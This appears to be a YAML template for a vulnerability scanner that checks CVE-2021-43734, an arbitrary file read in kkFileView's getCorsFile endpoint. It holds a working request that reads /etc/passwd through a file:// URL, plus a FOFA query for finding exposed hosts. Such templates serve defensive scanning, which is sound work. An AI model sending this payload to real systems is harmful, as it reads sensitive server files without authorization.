CVE-2021-43734: kkFileView getCorsFile 任意文件读取漏洞

id: CVE-2021-43734

info:
  name: kkFileView getCorsFile 任意文件读取漏洞
  author: zan8in
  severity: high
  verified: true
  description: |-
    kkFileView getCorsFile 3.6.0 版本以下存在任意文件读取漏洞，攻击者通过漏洞可以获取服务器中的任意文件，获取服务器敏感信息
    fofa: app="kkFileView"
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-43734
  tags: cve,cve2021,kkfileview,fileread
  created: 2023/10/11

rules:
  r0:
    request:
      method: GET
      path: /getCorsFile?urlPath=file:///etc/passwd
    expression: response.status == 200 &&  "root:.*?:[0-9]*:[0-9]*:".bmatches(response.body)
expression: r0()

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